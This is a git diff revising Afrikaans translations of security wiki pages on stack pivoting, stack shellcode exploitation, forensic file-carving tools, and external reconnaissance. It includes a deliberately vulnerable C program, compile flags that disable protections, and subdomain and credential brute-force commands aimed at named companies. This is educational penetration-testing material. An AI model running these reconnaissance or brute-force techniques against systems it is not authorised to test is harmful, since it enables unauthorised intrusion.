+Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimaliseringe gecompileer word, **kry EBP nooit beheer oor ESP nie**, daarom sal enige ontploffing wat werk deur EBP te beheer basies misluk omdat dit geen werklike effek het nie.\
Dit is omdat die **proloog en epiloog verander** as die binêre geoptimaliseer is.
-- **Nie geoptimaliseer nie:**
+- **Nie geoptimaliseer:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@@ -186,15 +186,15 @@ Kyk die ret2esp tegniek hier:
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
-- 64 bits, off by one uitbuiting met 'n rop ketting wat begin met 'n ret sled
+- 64 bits, off by one exploitation met 'n rop ketting wat begin met 'n ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, geen relro, canary, nx en pie. Die program bied 'n leak vir stack of pie en 'n WWW van 'n qword. Kry eers die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Gebruik dan die WWW om 'n ewige lus te skep wat `.fini_array` inskrywings misbruik + `__libc_csu_fini` aanroep ([meer inligting hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Deur hierdie "ewige" skrywe te misbruik, word 'n ROP ketting in die .bss geskryf en eindig op om dit te bel met RBP.
## ARM64
-In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP registrasie** in die stack nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**.
+In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP register** in die stack nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**.
-Daarom, standaard, deur net die epiloog te misbruik, **sal jy nie in staat wees om die SP registrasie te beheer** deur sommige data binne die stack te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om **die `x30`** registrasie te **beheer**.
+Daarom, standaard, deur net die epiloog te misbruik, **sal jy nie in staat wees om die SP register te beheer** deur sommige data binne die stack te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om **die `x30`** register te **beheer**.
- proloog
@@ -213,7 +213,7 @@ ret
```
> [!CAUTION]
-> Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n registrasie te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stack neem en ons 'n oorskrywing het) en dan die **epiloog te misbruik** om die **`x30`** registrasie van 'n **beheerde `SP`** te laai en **`RET`** daarna toe.
+> Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n register te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stack neem en ons 'n oorskrywing het) en dan die **epiloog** te misbruik om die **`x30`** register van 'n **beheerde `SP`** te laai en **`RET`** daarna toe.
Ook op die volgende bladsy kan jy die ekwivalent van **Ret2esp in ARM64** sien:
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
index cf866c9b5..9e7736a85 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basiese Inligting
+## Basic Information
**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** aanpas om na die ligging van hierdie shellcode te wys, wat dit laat uitvoer. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
-### C Voorbeeld: 'n Kwesbare Program
+### C Example: A Vulnerable Program
-Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C program:
+Let's start with a simple example of a vulnerable C program:
```c
#include
#include
@@ -24,7 +24,7 @@ printf("Returned safely\n");
return 0;
}
```
-Dit program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van die `gets()` funksie.
+Hierdie program is kwesbaar vir 'n buffer oorgang as gevolg van die gebruik van die `gets()` funksie.
### Kompilasie
@@ -35,9 +35,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-fno-stack-protector`: Deaktiveer stapelbeskerming.
- `-z execstack`: Maak die stapel uitvoerbaar, wat nodig is om shellcode wat op die stapel gestoor is, uit te voer.
- `-no-pie`: Deaktiveer Posisie Onafhanklike Uitvoerbare, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.
-- `-m32`: Kompileer die program as 'n 32-bis uitvoerbare, wat dikwels gebruik word vir eenvoud in eksploitontwikkeling.
+- `-m32`: Kompiler die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoud in eksploitontwikkeling.
-### Python Exploit met Pwntools
+### Python Exploit using Pwntools
Hier is hoe jy 'n eksploit in Python kan skryf met **pwntools** om 'n **ret2shellcode** aanval uit te voer:
```python
@@ -72,20 +72,20 @@ Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoer
## Beskermings
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **moet gedeaktiveer word** vir die adres om betroubaar te wees oor uitvoerings of die adres waar die funksie gestoor sal word sal nie altyd dieselfde wees nie en jy sal 'n lek nodig hê om uit te vind waar die win funksie gelaai is.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word of die gecompromitteerde EIP terugadres sal nooit gevolg word nie.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer word** vir die adres om betroubaar te wees oor uitvoerings of die adres waar die funksie gestoor sal word sal nie altyd dieselfde wees nie en jy sal 'n lek nodig hê om uit te vind waar die win funksie gelaai is.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word of die gecompromitteerde EIP terugadres sal nooit gevolg word nie.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stapel** beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie streek nie uitvoerbaar sal wees nie.
## Ander Voorbeelde & Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR met stapel adres lek, skryf shellcode en spring daarna
+- 64bit, ASLR met stapel adreslek, skryf shellcode en spring daarna
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR met stapel lek, skryf shellcode en spring daarna
+- 32 bit, ASLR met stapellek, skryf shellcode en spring daarna
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR met stapel lek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
+- 32 bit, ASLR met stapellek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, geen ASLR, ROP gadget om stapel uitvoerbaar te maak en spring na shellcode in stapel
+- arm64, geen ASLR nie, ROP gadget om stapel uitvoerbaar te maak en spring na shellcode in stapel
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index c50d0797b..3a6651a17 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-'n Ander algemene hulpmiddel om verborge lêers te vind is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
+Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@@ -44,7 +44,7 @@ Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **
```
bulk_extractor memory.img -o out_folder
```
-Navigeer deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
+Navigeer deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/index.html)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
### PhotoRec
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
index b7812c275..0e8b873d4 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
@@ -1,15 +1,14 @@
{{#include ../../../banners/hacktricks-training.md}}
-# Carving gereedskap
+# Carving tools
## Autopsy
-Die mees algemene gereedskap wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer verwerk om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
+Die mees algemene hulpmiddel wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer verwerk om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
## Binwalk
-**Binwalk** is 'n gereedskap om binêre lêers soos beelde en klanklêers te soek vir ingebedde lêers en data.
-Dit kan geïnstalleer word met `apt`, maar die [bron](https://github.com/ReFirmLabs/binwalk) kan op github gevind word.
+**Binwalk** is 'n hulpmiddel om binêre lêers soos beelde en klanklêers te soek vir ingebedde lêers en data. Dit kan geïnstalleer word met `apt`, maar die [bron](https://github.com/ReFirmLabs/binwalk) kan op github gevind word.
**Nuttige opdragte**:
```bash
sudo apt install binwalk #Insllation
@@ -27,7 +26,7 @@ foremost -v -i file.img -o output
```
## **Scalpel**
-**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasielêer \(_/etc/scalpel/scalpel.conf_\) moet ontkommentaar.
+**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer \(_/etc/scalpel/scalpel.conf_\) moet ontkommentaar.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@@ -40,13 +39,13 @@ Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **
```text
bulk_extractor memory.img -o out_folder
```
-Navigeer deur **alle inligting** wat die hulpmiddel versamel het \(wagwoorde?\), **analiseer** die **pakkette** \(lees[ **Pcaps analise**](../pcap-inspection/)\), soek vir **vreemde domeine** \(domeine wat verband hou met **malware** of **nie-bestaande**\).
+Navigeer deur **alle inligting** wat die hulpmiddel versamel het \(wagwoorde?\), **analiseer** die **pakkette** \(lees[ **Pcaps analise**](../pcap-inspection/index.html)\), soek vir **vreemde domeine** \(domeine wat verband hou met **malware** of **nie-bestaande**\).
## PhotoRec
Jy kan dit vind in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
-Dit kom met 'n GUI en CLI weergawe. Jy kan die **lêer-tipes** kies waarvoor jy wil hê PhotoRec moet soek.
+Dit kom met 'n GUI en CLI weergawe. Jy kan die **lêer-tipes** kies waarvoor PhotoRec moet soek.

diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index 4c387f961..7af2767e4 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
-Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentaar hulle. As jy niks ontkommentaar nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
+Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@@ -40,11 +40,11 @@ scalpel file.img -o output
Hierdie hulpmiddel kom binne Kali, maar jy kan dit hier vind: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **netwerk inligting (URL's, domeine, IP's, MAC's, e-posse)** en meer **lêers**. Jy hoef net te doen:
+Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **netwerk inligting (URL's, domeine, IP's, MAC's, e-pos)** en meer **lêers**. Jy hoef net te doen:
```
bulk_extractor memory.img -o out_folder
```
-Navigeer deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
+Navigeer deur **alle inligting** wat die hulpmiddel versamel het (wagwoorde?), **analiseer** die **pakkette** (lees[ **Pcaps analise**](../pcap-inspection/index.html)), soek na **vreemde domeine** (domeine wat verband hou met **malware** of **nie-bestaande**).
### PhotoRec
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 174cab1d5..a158a5c1b 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -57,12 +57,12 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Soek na kwesbaarhede**
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
-Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **of gebruik dienste soos** shodan **om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop te pentest.\
+Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **loods of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeine
-> Ons weet al die maatskappye binne die omvang en hul bates, dit is tyd om die domeine binne die omvang te vind.
+> Ons weet van al die maatskappye binne die omvang en hul bates, dit is tyd om die domeine binne die omvang te vind.
_Please, let daarop dat jy in die volgende voorgestelde tegnieke ook subdomeine kan vind en daardie inligting nie onderskat moet word._
@@ -70,7 +70,7 @@ Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld,
### **Reverse DNS**
-Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns lookups** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns bediener van die slagoffer of 'n bekende dns bediener (1.1.1.1, 8.8.8.8) te gebruik.
+Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns lookups** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik.
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -80,7 +80,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
Vir dit om te werk, moet die administrateur handmatig die PTR inskakel.\
Jy kan ook 'n aanlyn hulpmiddel vir hierdie inligting gebruik: [http://ptrarchive.com/](http://ptrarchive.com)
-### **Reverse Whois (lus)**
+### **Reverse Whois (loop)**
Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **reverse whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
Jy kan aanlyn hulpmiddels soos gebruik:
@@ -153,9 +153,9 @@ Dit is algemeen om 'n cron job te hê soos
om al die domeinsertifikate op die bediener te hernu. Dit beteken dat selfs al stel die CA wat hiervoor gebruik word nie die tyd in wat dit gegenereer is in die Geldigheid tyd nie, dit moontlik is om **domeine wat aan dieselfde maatskappy behoort in die sertifikaat deursigtigheidslogs te vind**.\
Kyk na hierdie [**skrywe vir meer inligting**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
-### Pos DMARC inligting
+### Mail DMARC inligting
-Jy kan 'n web soos [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) of 'n hulpmiddel soos [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gebruik om **domeine en subdomeine wat dieselfde dmarc inligting deel te vind**.
+Jy kan 'n web soos [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) of 'n hulpmiddel soos [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gebruik om **domeine en subdomeine wat dieselfde dmarc-inligting deel** te vind.
### **Passiewe Oorname**
@@ -171,7 +171,7 @@ Dit is blykbaar algemeen dat mense subdomeine aan IP's toewys wat aan wolkverska
Soos jy reeds weet, die naam van die organisasie wat die IP-ruimte besit. Jy kan daarna soek in shodan met: `org:"Tesla, Inc."` Kyk na die gevonde gashere vir nuwe onverwagte domeine in die TLS-sertifikaat.
-Jy kan die **TLS-sertifikaat** van die hoof webblad toegang, die **Organisasie naam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Jy kan die **TLS-sertifikaat** van die hoofwebblad toegang, die **Organisasienaam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@@ -181,12 +181,12 @@ Jy kan die **TLS-sertifikaat** van die hoof webblad toegang, die **Organisasie n
Kyk vir 'n paar [domein oorname](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Miskien gebruik 'n maatskappy **'n domein** maar hulle **het die eienaarskap verloor**. Registreer dit net (as dit goedkoop genoeg is) en laat die maatskappy weet.
-As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/index.html#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
-NAN;_Note dat soms die domein gehos teen 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
+As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met Nessus of OpenVAS) en 'n paar [**poortsken**](../pentesting-network/index.html#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
+NAN;_Note dat soms die domein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## Subdomeine
-> Ons weet al die maatskappye binne die omvang, al die bates van elke maatskappy en al die domeine wat aan die maatskappye behoort.
+> Ons weet van al die maatskappye binne die omvang, al die bates van elke maatskappy en al die domeine wat aan die maatskappye behoort.
Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind.
@@ -195,13 +195,13 @@ Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind.
### **DNS**
-Kom ons probeer om **subdomeine** van die **DNS** rekords te verkry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer).
+Kom ons probeer om **subdomeine** van die **DNS** rekords te kry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
-Die vinnigste manier om 'n groot aantal subdomeine te verkry, is om in eksterne bronne te soek. Die mees gebruikte **tools** is die volgende (vir beter resultate, konfigureer die API sleutels):
+Die vinnigste manier om 'n groot aantal subdomeine te verkry, is om in eksterne bronne te soek. Die mees gebruikte **tools** is die volgende (vir beter resultate, stel die API-sleutels op):
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@@ -321,7 +321,7 @@ Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://bl
### **DNS Brute force**
-Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-force met moontlike subdomeinname.
+Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-forseer met moontlike subdomein name.
Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
@@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein brute-force fuzzer gekoppel aan 'n uiters eenvoudige maar effektiewe DNS respons-gelei algoritme. Dit gebruik 'n verskafde stel invoergegewens, soos 'n op maat gemaakte woordlys of historiese DNS/TLS rekords, om akkuraat meer ooreenstemmende domeinnames te sintetiseer en dit selfs verder in 'n lus uit te brei gebaseer op inligting wat tydens die DNS skandering versamel is.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is 'n subdomein brute-force fuzzer gekoppel aan 'n uiters eenvoudige maar effektiewe DNS respons-geleide algoritme. Dit gebruik 'n verskafde stel invoergegewens, soos 'n op maat gemaakte woordlys of historiese DNS/TLS rekords, om akkuraat meer ooreenstemmende domeinnames te sintetiseer en dit selfs verder in 'n lus uit te brei gebaseer op inligting wat tydens die DNS skandering versamel is.
```
echo www | subzuf facebook.com
```
@@ -440,31 +440,31 @@ VHostScan -t example.com
### **CORS Brute Force**
-Soms sal jy bladsye vind wat slegs die kop _**Access-Control-Allow-Origin**_ teruggee wanneer 'n geldige domein/subdomein in die _**Origin**_ kop is. In hierdie scenario's kan jy hierdie gedrag misbruik om **nuwe** **subdomeine** te **ontdek**.
+Soms sal jy bladsye vind wat slegs die kop _**Access-Control-Allow-Origin**_ teruggee wanneer 'n geldige domein/subdomein in die _**Origin**_ kop is ingestel. In hierdie scenario's kan jy hierdie gedrag misbruik om **nuwe** **subdomeine** te **ontdek**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Buckets Brute Force**
-Terwyl jy na **subdomeine** soek, hou 'n oog op of dit na enige tipe **emmer** **wys**, en in daardie geval [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
+Terwyl jy na **subdomeine** soek, hou 'n oog op of dit na enige tipe **emmer** **wys**, en in daardie geval [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorisering**
-Jy kan **monitor** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
+Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor.
### **Soek na kwesbaarhede**
Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/).
+As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/index.html#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek sommige truuks vind om hulle te "aanval"**.\
+As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n paar [**poortskaans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
NAN;_Nlet daarop dat die subdomein soms gehos teen 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._
## IPs
In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\
-Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-navrae).**
+Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).**
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
@@ -474,20 +474,20 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel
### **Soek na kwesbaarhede**
